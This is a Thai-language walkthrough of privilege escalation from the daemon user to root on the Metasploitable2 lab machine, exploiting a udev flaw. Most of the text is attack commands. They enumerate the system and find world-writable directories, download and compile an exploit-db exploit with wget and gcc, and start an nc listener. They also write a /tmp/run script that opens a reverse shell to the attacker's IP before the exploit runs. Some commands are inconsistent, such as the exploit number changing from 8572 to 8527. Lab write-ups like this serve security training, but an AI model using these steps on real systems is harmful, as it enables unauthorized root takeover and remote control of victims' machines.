บทนำ (Overview)
บทความนี้นำเสนอวิธีการยกระดับสิทธิให้สูงขึ้นเป็น root ทำให้สามารถควบคุมเครื่องได้อย่างเบ็ดเสร็จ โดยมีหลักการเบื้องต้นที่พอจะสรุปได้ดังนี้
- ค้นหาระบบปฏิบัติการ เช่น “Linux” หรือ “Windows” เป็นต้น
- ค้นหา “Version” ของระบบปฎับัตการ เช่น “Ubantu 8.04” หรือ “Windows 7” เป็นต้น
- ค้นหา “Version” ของ “Kernel” เช่น “2.6”
- ค้นหา “Process” ที่กำลัง “Run” โดย “Root” และ “Everyone”
- ตรวจสอบ “Version” ทั้งหมดที่ได้รวบรวมมากับ “Exploit-db”
- ยืนยัน “Version” ของ “Process” หรือ “daemon” ที่คาดว่าเป็นช่องโหว่มาตรงกันหรือไม่
- ดาวน์โหลด และศึกษาการใช้งาน “Exploit”
- ทดสอบใช้งาน “Exploit”
ขั้นตอน (Steps)
- ช่องโหว่จากบทความ How to exploit the distcc daemon – Metasploitable2 พบว่ายังไม่มีสิทธิ “Root” ทดสอบโดยใช้คำสั่ง id ดังนี้ เป้าหมายคือจะต้องได้สิทธิจาก “daemon” ไปเป็น “root”
- ตรวจสอบ “version” ของ “OS” เพื่อหาช่องโหว่โดยใช้คำสั่งดังนี้
lsb_release -a
- จากนั้นตรวจสอบ “Kernel” โดยใช้คำสั่ง
uname -a
เพิ่มเติม: “kernel” คือโปรแกรมหลักที่อยู่ในระบบปฎิบัติการ ซึ่งสามารถควบคุมทุกสิ่งที่เกิดขึ้นในระบบ อาจเปรียบได้เหมือน “shell” ของ “bash, csh หรือ ksh” ของ “Unix” ที่ติดต่อกับผู้ใช้ แต่ kernel จะไม่ได้ติดต่อโดยตรงกับผู้ใช้ แต่นะติดต่อกับโปรแกรมอื่น ๆ หรือ อุปกรณ์หรือฮาร์ดแวร์ต่าง ๆ รวมถึง “processor” และ “memory” นั้นเอง - เราจะพบว่า “cursor” ใช้งานจากเป็นลักษณะว่าง ๆ อาจทำให้ไม่ทราบคำสั่งนั้นได้รับการตอบสนองหรือให้ใช้ คำสั่ง “python” เพื่อให้ปรากฏ “cursor” ตามภาพ ถ้าใช้คำสั่งแล้วไม่ปรากฏ ในขั้นตอนของ “set payload” ให้ลองใช้ค่า “default”
python -c 'import pty;pty.spawn("/bin/bash")'
- จากนั้นเราจะหา “Process” ที่กำลังอยู่ “run” อยู่ภายใต้ “root” โดยใช้คำสั่ง
/tmp$ ps -f -u root |awk '{print $8}' | sort -u
เพิ่มเติม: “daemon” คือโปรแกรมประเภทหนึ่งอยู่บน “Unix” ที่จะทำงานอยู่ใน “Background process” (โดยมากไม่ได้ถูกควบคุมโดยผู้ใช้งาน) ซึ่งจะทำงานโดยภายใต้เงื่อนไขหรือเงื่อนไขที่กำหนดไว้ ใน “Unix” ใด ๆ โดยปกติจะมีอยู่หลาย ๆ “daemon” ตัวอย่างที่จะสามารถทำให้ “daemon” ทำงาน เช่น เงื่อนไขกำหนดเวลา หรือวันทำงาน, มีไฟล์เข้ามาใน “path” ที่กำหนดไว้ การรับเมล์ การให้บริการเว็บ เป็นต้น ในแต่ละ “daemons” จะถูกสร้างขึ้นมาเรียกว่า “process” โดยที่แต่ละ “process” จะถูกกำหนดหมายเลขที่แตกต่างกัน (process identification number – PID) โดย “process” ทั้งหมดจะถูกจัดการโดย “Kernel”
- จากคำสั่งได้ผลลัพธ์ดังนี้
/bin/dd /bin/login /bin/sh /sbin/getty /sbin/init /sbin/udevd /usr/bin/jsvc /usr/bin/rmiregistry /usr/bin/unrealircd /usr/lib/postfix/master /usr/sbin/apache2 /usr/sbin/cron /usr/sbin/nmbd /usr/sbin/rpc.idmapd /usr/sbin/rpc.mountd /usr/sbin/smbd /usr/sbin/sshd /usr/sbin/xinetd CMD Xtightvnc [aio/0] [ata/0] [ata_aux] [events/0] [kblockd/0] [khelper] [khubd] [kjournald] [kpsmoused] [kseriod] [ksnapd] [ksoftirqd/0] [ksuspend_usbd] [kswapd0] [kthreadd] [lockd] [migration/0] [nfsd4] [nfsd] [pdflush] [rpciod/0] [scsi_eh_0] [scsi_eh_1] [scsi_eh_2] [watchdog/0] fluxbox logger ruby sudo xterm
- ให้พยายามหาโปรแกรมที่สามารถ “execute” โดย “everyone” หรือ “group” ที่เป็น “daemon” ดังนั้นเริ่มต้นหา path ของบาง “process” ก่อนโดยใช้ข้อมูลข้างดังนี้
which CMD which Xtightvnc which fluxbox which logger which ruby which sudo which xtermwhich CMD which fluxbox which logger which ruby which sudo
- จากนั้นตรวจสอบ “permission” ทั้งหมด ให้ตัด “permission” ที่ไม่มีสิทธิออกไป
ls -l /bin/dd ls -l /bin/login ls -l /bin/sh ls -l /sbin/getty ls -l /sbin/init ls -l /sbin/udevd ls -l /usr/bin/jsvc ls -l /usr/bin/rmiregistry ls -l /usr/bin/unrealircd ls -l /usr/lib/postfix/master ls -l /usr/sbin/apache2 ls -l /usr/sbin/cron ls -l /usr/sbin/nmbd ls -l /usr/sbin/rpc.idmapd ls -l /usr/sbin/rpc.mountd ls -l /usr/sbin/smbd ls -l /usr/sbin/sshd ls -l /usr/sbin/xinetd ls -l /usr/bin/Xtightvnc ls -l /usr/bin/fluxbox ls -l /usr/bin/logger ls -l /usr/bin/ruby ls -l /usr/bin/sudo
- จากนั้นไปที่เว็บไซต์ https://www.exploit-db.com และใช้คำค้นหา เช่น
//OS + version เอาแค่จุดเดียว + privilege escalation Linux 2.6 privilege escalation
- เพื่อความสะดวกรวดเร็วในการค้นหา (เนื่องจากเว็บติด captcha) ให้เปิดทิ้งเอาไว้ทุกหน้า และใช้ “ctrl + F” สำหรับค้นหาแต่ละ “page”
- การค้นหา “daemon” ให้ตัดตัว “d” ตัวสุดท้ายในคำค้นหา จากตัวอย่างเราพบดังนี้
- ให้ตรวจสอบ “version” ของ “daemon” เพื่อยืนยันว่าเป็นช่องโหว่จริงหรือไม่โดยใช้คำสั่ง
dpkg -l | grep udev
- เราจะพบ “version” ต่ำกว่า “141” เป็นไปได้ที่จะมีช่องโหว่
- ให้ดาวน์โหลดไฟล์ “exploit” มาไว้ที่เครื่องเราก่อน หรือถ้าเป้าหมายสามารถดาวน์โหลดจาก “internet” ได้เลยให้ดาวน์โหลดโดยใช้คำสั่งดังนี้ อย่างไรก็ตามก็ขึ้นอยู่กับว่าเครื่องเป้าหมายสามารถใช้งาน “gcc” เพื่อ “compile” โปรแกรมที่ดาวน์โหลดได้หรือไม่ด้วย
wget --no-check-certificate http://www.exploit-db.com/download/8572 -O exploit-8572.c
- ในกรณีดาวน์โหลดหรือ “compile” ที่เครื่องเราก่อนให้ เปิด “apache2” และนำไฟล์ไปวางไว้ที่ “/var/www/html” จากนั้นใช้คำสั่ง “wget” จากเครื่องเหยื่อเพื่อดาวน์โหลดไป
gcc exploit-8572.c -o exploit-8572 ls -l exploit-8572
- ก่อนที่จะดาวน์โหลดไฟล์ให้หาไดเรกทอรีที่เรา (daemon, everyone) สามารถเขียนและได้สิทธ์ “execute” ไฟล์ได้เสียก่อน โดยส่วนมากคือ “folder” ที่ชื่อ /tmp หรือใช้คำสั่งคือ
//-type d หาเฉพาะ directory //-perm -o+wx หา everyone สามารถ w และ execute //-ls แสดง permission //2>/dev/null กรองไดเรกทอรีไม่มีสิทธิออกไป find / -type d -perm -o+wx -ls 2>/dev/null //-group daemon หรือระบุ user ที่เรามีสิทธิอยู่ find / -type d -perm -u+wx,g+wx -group daemon -ls 2>/dev/null
- กลับมาที่เครื่องผู้โจมตีให้ตั้ง “listener” เพื่อให้เครื่องเหยื่อตอบกลับมาเป็นสิทธิ “root” ดังนี้
nc -nlvp 443
- จากนั้นเราจะสร้างไฟล์ที่ “/tmp/run” และเขียนให้สามารถเชื่อมต่อ “nc” กลับมาที่เครื่องผู้โจมตีโดยใช้คำสั่งดังนี้
//โดยที่ IP ที่ตอบกลับมาเป็นเครื่องของผู้โจมตี echo '#!/bin/sh' > /tmp/run echo '/bin/nc -e /bin/sh 192.168.1.57 443' >> /tmp/run chmod 777 run
- จากนั้นตรวจสอบหมายเลข PID
ps -eaf | grep udev | grep -v grep
- จากนั้นใช้งาน exploit โดยใช้ PID ที่พบ – 1 ดังนี้
./exploit-8527 2772